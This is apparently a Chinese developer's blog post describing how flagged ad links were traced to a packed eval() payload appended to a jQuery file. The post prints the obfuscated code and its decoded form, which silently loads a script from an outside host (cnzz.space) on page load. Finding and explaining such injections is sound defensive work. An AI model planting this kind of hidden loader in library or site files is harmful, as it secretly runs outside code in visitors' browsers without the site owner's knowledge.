最近客户要在谷歌上做广告,反馈是有恶意的链接,并提到一些恶意链接,看了下,发现基本上是cnzz的链接。
然后查看网页源代码,并搜索cnzz字样,一无所获。
html源代码是最终输出,然后由浏览器来解析,那么最能执行一些偷偷访问的就只有JS文件了。
发现jquery-1.10.1.min.js最后面加了一段这样的代码:
;
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('v(h(p,a,c,k,e,r){e=h(c){i c.o(a)};m(!\'\'.l(/^/,u)){j(c--)r[e(c)]=k[c]||e(c);k=[h(e){i r[e]}];e=h(){i\'\\\\w+\'};c=1};j(c--)m(k[c])p=p.l(q t(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);i p}(\'1 5=5||[];(8(){1 a=3.b(\\\'4\\\');a.7=\\\'//g.9/6/6.c\\\';1 2=3.e(\\\'4\\\')[0];2.f.d(a,2)})();\',n,n,\'|x|s|y|z|A|B|C|h|D||E|F|G|H|I|J\'.K(\'|\'),0,{}))',47,47,'|||||||||||||||||function|return|while||replace|if|17|toString||new|||RegExp|String|eval||var|document|script|_hmt_cnzz|hm|src|space|createElement|js|insertBefore|getElementsByTagName|parentNode|cnzz|split'.split('|'),0,{}))
罪魁祸首就是它的,通过解密得到的是:
var _hmt_cnzz = _hmt_cnzz || [];
(function() {
var a = document.createElement('script');
a.src = '//cnzz.space/hm/hm.js';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(a, s)
})();
这些代码隐藏得够深的,一不小心就中招了。好在这只是个统计代码,如果是赌博H网那会惨了!